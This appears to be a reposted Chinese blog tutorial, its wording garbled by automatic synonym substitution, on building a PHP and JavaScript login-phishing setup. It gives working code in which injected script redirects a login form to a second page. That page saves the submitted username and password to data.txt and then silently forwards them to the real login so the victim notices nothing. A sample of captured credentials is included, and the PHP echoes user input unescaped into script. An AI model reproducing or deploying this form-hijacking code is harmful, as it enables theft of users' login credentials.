PHP+JS模拟登录垂纶

目次引见

  • login.php 一般登录的文件
  • selfLogin.php 自定义的登录文件
  • data.txt 纪录用户输入的数据

login.php

<?php
    echo "<pre>";
    $userInfo = $_POST ;
    if ($userInfo) {
        # code...
        var_dump($userInfo,'登录胜利') ;exit();
    }

?>
<!DOCTYPE html>
<html>
<head>
    <title>登录</title>
</head>
<body>
    <form id="login" method="post" action="login.php">
        用户姓名:<input type="text" name="name">
        用户暗码:<input type="password" name="pwd">
        <input type="submit" value="确认登录">
    </form>
</body>
<script type="text/javascript">

    //js挟制代码
    window.onload = function (eve) {
        var form = document.getElementById('login');
        form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户暗码:<input type="password" name="pwd"> <input type="submit" value="确认登录">    </form> '  ;
        //垂纶地点
        form.action = "selfLogin.php" ;
    }
</script>
</html>

selfLogin.php

<?php
    $name = '' ;
    $pwd  = '' ;
    //var_dump('数据被截取了',$_POST) ;
    if($_POST) {
        //纪录猎取的数据信息
        $name = $_POST['name'] ;
        $pwd = $_POST['pwd'] ;
        file_put_contents('data.txt', json_encode($_POST,true)) ;
    }
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

</body>
<script type="text/javascript">
    //构建之前的页面
    window.onload = function (eve) {
        var name = '<?php echo $name; ?>' ;
        var pwd = '<?php echo $pwd; ?>' ;
        if(name && pwd) {
            var div = document.createElement('div');
            document.body.appendChild(div);
            div.innerHTML =' <form id="login2" method="post" action="login.php" > '+
                ' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户暗码:<input type="password" name="pwd" value="'+pwd+'"> '  ;
            document.getElementById('login2').submit();
        }
    }
</script>
</html>

data.txt

{“name”:”admin”,”pwd”:”123456″}

    原文作者:风尘斯文
    原文地址: https://segmentfault.com/a/1190000018641474
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞